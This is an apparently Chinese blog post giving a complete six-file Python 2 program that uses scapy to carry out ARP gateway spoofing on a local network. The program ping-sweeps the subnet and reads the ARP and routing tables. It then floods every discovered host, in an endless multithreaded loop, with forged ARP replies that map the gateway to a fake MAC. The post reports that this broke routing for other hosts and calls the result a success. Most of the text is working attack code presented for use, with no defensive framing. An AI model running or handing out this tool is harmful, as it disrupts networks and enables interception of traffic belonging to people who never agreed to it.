Python利用scapy实现ARP欺骗的方法


Posted in Python onJuly 23, 2019

一、实验原理。

本次用代码实现的是ARP网关欺骗,通过发送错误的网关映射关系导致局域网内其他主机无法正常路由。使用scapy中scapy.all模块的ARP、sendp、Ether等函数完成包的封装与发送。一个简单的ARP响应报文发送:

eth = Ether(src=src_mac, dst=dst_mac)#赋值src_mac时需要注意,参数为字符串类型
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=2)#src为源,dst为目标,op=2为响应报文、1为请求
pkt = eth / arp
endp(pkt)

因为实验时发现主机并不会记录来自网关的免费ARP报文,无奈只有先想办法把局域网内存在的主机的IP-MAC映射关系拿到手,再逐个发送定向的ARP响应报文。

二、运行结果。

<1>先查看网关,确保有网:

Python利用scapy实现ARP欺骗的方法

<2>因为socket需要sudo权限,所以以root权限跑起来:

Python利用scapy实现ARP欺骗的方法

<3>因为代码写的比较繁琐,跑起来就比现场的工具慢很多,最后看下局域网内主机的arp表:

Python利用scapy实现ARP欺骗的方法

网关172.16.0.254的MAC地址已经从00:05:66:00:29:69变成01:02:03:04:05:06,成功!

三、实现代码。

代码过程:加载网关->扫描局域网内主机->扫描完成->加载arp表->发送ARP响应报文。

如图,代码分为六个部分。其中的arpATC.py为主程序,pingScanner.py为主机扫描器,arpThread.py为扫描线程,atcThread.py为发包线程,gtwaySearch.py获取网关,macSearch.py读取本机arp表。

Python利用scapy实现ARP欺骗的方法

<1>pingScanner.py

通过os.popen函数调用ping,使用正则匹配返回字符串判断目标主机是否存在。

#!/usr/bin/python
'''
Using ping to scan
'''
import os
import re
import time
import thread
 
def host_scanner(ip):
  p = os.popen('ping -c 2 '+ip)
  string = p.read()
  pattern = 'Destination Host Unreachable'
  if re.search(pattern,string) is not None:
    print '[*]From '+ip+':Destination Host Unreachable!'+time.asctime( time.localtime(time.time()) )
    return False
  else:
    print '[-]From '+ip+':Recived 64 bytes!'+time.asctime( time.localtime(time.time()) )
    return True
 
if __name__=='__main__':
  print 'This script is only use as model,function:scanner(ip)!'

<2>macSearch.py

同样,调用os.popen函数带入参数'arp -a'查看本地缓存的arp表信息。通过正则表达式截取每个IP对应的MAC地址,保存在字典arp_table里并返回。

#!/usr/bin/python
'''
Using re to get arp table
arp -a
? (192.168.43.1) at c0:ee:fb:d1:cd:ce [ether] on wlp4s0
'''
import re
import os
import time
 
def getMac(ip_table=[],arp_table={}):
  #print '[-]Loading ARP table...'+time.asctime( time.localtime(time.time()) )
  p = os.popen('arp -a')
  string = p.read()
  string = string.split('\n')
  pattern = '(\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3})(.\s*at\s*)([a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2})'
  length = len(string)
  for i in range(length):
    if string[i] == '':
      continue
    result = re.search(pattern, string[i])
    if result is not None:
      ip = result.group(1)
      mac = result.group(3)
      arp_table[ip]=mac
      ip_table.append(ip)
    #else:
      #print '[*]macSearch.getMac:result is None'
  #print '[-]ARP table ready!'+'<->'+time.asctime( time.localtime(time.time()) )
  return (ip_table,arp_table)
 
if __name__=='__main__':
  table = getMac()
  ip_table = table[0]
  arp_table = table[1]
  for i in range(len(ip_table)):
    ip = ip_table[i]
    print '[-]'+ip+'<-is located on->'+arp_table[ip]

<3>gtwaySearch.py

通过使用正则截取os.popen('route -n')的返回值确定网关IP,把获取的网关IP与MAC当作元组返回。

#!/usr/bin/python
'''
'Kernel IP routing table\nDestination   Gateway     Genmask     Flags Metric Ref  Use Iface\n
0.0.0.0     172.16.0.254  0.0.0.0     UG  100  0    0 enp3s0f1\n
172.16.0.0   0.0.0.0     255.255.255.0  U   100  0    0 enp3s0f1\n'
'''
 
import re
import os
import time
from macSearch import *
 
def find_Gateway():
  p = os.popen('route -n')
  route_table = p.read()
  pattern = '(0\.0\.0\.0)(\s+)((\d+\.){1,3}(\d+))(\s+)(0\.0\.0\.0)'
  result = re.search(pattern, route_table)
  if result is not None:
    #print '[-]Gateway is located on:' + result.group(3)+'...'+time.asctime( time.localtime(time.time()) )
    table = getMac()
    ip = table[0][0]
    mac = table[1][ip]
    return (ip,mac)
  else:
    #print '[*]arpATC.find_Gateway:result is None!'
    #print '[*]Gateway is no found!'
    return
 
if __name__=='__main__':
  print '[-]Looking for Gateway...'+time.asctime( time.localtime(time.time()) )
  gateway = find_Gateway()
  if gateway is not None:
    print '[-]Gateway is located on:' + gateway[0]+'('+gateway[1]+')'+'...'+time.asctime( time.localtime(time.time()))
  else:
    print '[*]Gateway is no found!'+gateway[0]+time.asctime( time.localtime(time.time()) )

<4>arpThread.py

考虑到ping扫描主机时遇到不存在的主机会等待过长的时间,使用多线程扫描就稍微会快一点。这里是通过继承、重写run方法实现功能的。因为不太会控制多线程,所以这里写死了,是四个线程平分255个可能存在的主机。

#/usr/bin/python
 
import threading
import time
from gtwaySearch import *
from macSearch import *
from pingScaner import *
 
class arpThread(threading.Thread):
  def __init__(self,tag_ip,number):
    super(arpThread,self).__init__()
    self.tag_ip = tag_ip
    self.number = number
    self.status = False
 
  def run(self):
    add = 0
    if (self.number-1)==0:
      add = 1
    start = (self.number-1)*64 + add
    #1-63,64-127,128-191,192-256
    end = start + 64
    for i in range(start, end):
      if i < 255:
        host = self.tag_ip.split('.')
        host[3] = str(i)
        host = '.'.join(host)
        host_scanner(host)
    self.status=True
    print '[-]Status of Thread_%d is '%self.number+str(self.status)
 
    #print '[-]Scan completed!' + time.asctime(time.localtime(time.time()))

<5>atcThread.py

使用与arpThread.py中类似的方法继承、重写run方法实现多线程发包的功能。发包时源IP是指定的字符串“01:02:03:04:05:06”,源IP为获取的网关IP,目标IP和目标MAC皆为从本机arp表中获取的真实存在的主机IP与MAC。

#!/usr/bin/python
 
import threading
from scapy.all import ARP,Ether,sendp,fuzz,send
 
class atcThread(threading.Thread):
  def __init__(self,table,gtw_ip,gtw_mac):
    super(atcThread,self).__init__()
    self.table = table
    self.gtw_ip = gtw_ip
    self.gtw_mac = gtw_mac
 
  def run(self):
    ip_table = self.table[0]
    arp_table = self.table[1]
    while True:
      for i in range(len(ip_table)):
        tag_ip = ip_table[i]
        tag_mac = arp_table[tag_ip]
        eth = Ether(src=self.gtw_mac, dst=tag_mac)
        arp = ARP(hwsrc='01:02:03:04:05:06', psrc=self.gtw_ip, hwdst=tag_mac, pdst=tag_ip, op=2)
        pkt = eth / arp
        sendp(pkt)
 
        #pkt = eth/fuzz(arp)
        #send(pkt,loop=1)

<6>arpATC.py

代码的主程序,代码过程:

加载网关->扫描局域网内主机->扫描完成->加载arp表->发送ARP响应报文->等待。

(四线程) (四线程)

因为主程序是死循环,所以即便是攻击完成后也不会退出。可以在arpThread启动前加入for循环,这样就能无限发送了。

#!/usr/bin/python
'''
'''
import os
from gtwaySearch import *
from arpThread import arpThread
from atcThread import atcThread
 
def atc_WrongGTW(gtw):
  src_ip = gtw[0]
  src_mac = gtw[1]
  print '[-]Start scanning hosts...' + time.asctime(time.localtime(time.time()))
  arpThread_1 = arpThread(src_ip,1)
  arpThread_2 = arpThread(src_ip,2)
  arpThread_3 = arpThread(src_ip,3)
  arpThread_4 = arpThread(src_ip,4)
 
  arpThread_1.start()
  arpThread_2.start()
  arpThread_3.start()
  arpThread_4.start()
  t = False
  while(t==False):
    t = arpThread_1.status and arpThread_2.status and arpThread_3.status and arpThread_4.status
    time.sleep(5)
  table = getMac()
  print '[-]Scan completed!' + time.asctime(time.localtime(time.time()))
  flag = raw_input('[-]Ready to start attacking:(y/n)')
  while(True):
    if flag in ['y', 'Y', 'n', 'N']:
      break
    print "[*]Plz enter 'y' or 'n'!"
    flag = raw_input()
  if flag in ['n','N']:
    print '[*]Script stopped!'
  else:
    atcThread_1 = atcThread(table,src_ip,src_mac)
    atcThread_2 = atcThread(table,src_ip, src_mac)
    atcThread_3 = atcThread(table,src_ip, src_mac)
    atcThread_4 = atcThread(table,src_ip, src_mac)
    os.popen('arp -s %s %s'%(src_ip,src_mac))
    print '[-]'+'arp -s %s %s'%(src_ip,src_mac)
    print '[-]Strat attack...'
    atcThread_1.start()
    atcThread_2.start()
    atcThread_3.start()
    atcThread_4.start()
 
 
 
if __name__=='__main__':
  gateway = find_Gateway()
  if gateway is not None:
    atc_WrongGTW(gateway)
    while True:
      pass
  else:
    print "[*]Can't find Gateway!"

以上这篇Python利用scapy实现ARP欺骗的方法就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python实现电脑自动关机
Jun 20 Python
Python 使用PIL中的resize进行缩放的实例讲解
Aug 03 Python
Python数据类型之List列表实例详解
May 08 Python
如何使用Python自动控制windows桌面
Jul 11 Python
python 实现矩阵填充0的例子
Nov 29 Python
解决pycharm最左侧Tool Buttons显示不全的问题
Dec 17 Python
Python实现bilibili时间长度查询的示例代码
Jan 14 Python
Python字符编码转码之GBK,UTF8互转
Feb 09 Python
python梯度下降算法的实现
Feb 24 Python
python之生成多层json结构的实现
Feb 27 Python
Python利用for循环打印星号三角形的案例
Apr 12 Python
python DataFrame中stack()方法、unstack()方法和pivot()方法浅析
Apr 06 Python
OpenCV3.0+Python3.6实现特定颜色的物体追踪
Jul 23 #Python
提升Python效率之使用循环机制代替递归函数
Jul 23 #Python
深入了解Django View(视图系统)
Jul 23 #Python
Python Opencv任意形状目标检测并绘制框图
Jul 23 #Python
flask框架单元测试原理与用法实例分析
Jul 23 #Python
Python3的高阶函数map,reduce,filter的示例详解
Jul 23 #Python
python实现socket+threading处理多连接的方法
Jul 23 #Python
You might like
用PHP读取IMAP邮件
2006/10/09 PHP
php实现的CSS更新类实例
2014/09/22 PHP
PHP_SELF,SCRIPT_NAME,REQUEST_URI区别
2014/12/24 PHP
PHP中文编码小技巧
2014/12/25 PHP
PHP封装的mysqli数据库操作类示例
2019/02/16 PHP
基于Web标准的UI组件 — 树状菜单(2)
2006/09/18 Javascript
JS对象与json字符串格式转换实例
2014/10/28 Javascript
JS+CSS实现简单的二级下拉导航菜单效果
2015/09/21 Javascript
快速掌握jQuery插件WebUploader文件上传
2016/11/07 Javascript
jQuery Validate插件自定义验证规则的方法
2016/12/27 Javascript
weex slider实现滑动底部导航功能
2017/08/28 Javascript
vue-cli下的vuex的简单Demo图解(实现加1减1操作)
2018/02/26 Javascript
Node.js 使用axios读写influxDB的方法示例
2018/10/26 Javascript
node(koa2) web应用模块介绍详解
2019/03/29 Javascript
angular组件间通讯的实现方法示例
2020/05/07 Javascript
jQuery实现增删改查
2020/12/22 jQuery
如何在JavaScript中使用localStorage详情
2021/02/04 Javascript
python格式化字符串实例总结
2014/09/28 Python
用Python分析3天破10亿的《我不是药神》到底神在哪?
2018/07/12 Python
Python中return self的用法详解
2018/07/27 Python
浅谈Python中(&amp;,|)和(and,or)之间的区别
2019/08/07 Python
解决pytorch GPU 计算过程中出现内存耗尽的问题
2019/08/19 Python
Python高阶函数、常用内置函数用法实例分析
2019/12/26 Python
Python用K-means聚类算法进行客户分群的实现
2020/08/23 Python
python 匿名函数与三元运算学习笔记
2020/10/23 Python
Python机器学习工具scikit-learn的使用笔记
2021/01/28 Python
CSS3属性box-sizing使用指南
2014/12/09 HTML / CSS
英国蛋糕装饰用品一站式商店:Craft Company
2019/03/18 全球购物
德国滑雪和户外用品网上商店:XSPO
2019/10/30 全球购物
晚宴邀请函范文
2014/01/15 职场文书
期末复习计划
2015/01/19 职场文书
构建和谐校园倡议书
2015/01/19 职场文书
2015年餐厅服务员工作总结
2015/04/23 职场文书
联谊会开场白
2015/06/01 职场文书
Nginx+Tomcat负载均衡多实例详解
2022/04/11 Servers
项目中Nginx多级代理是如何获取客户端的真实IP地址
2022/05/30 Servers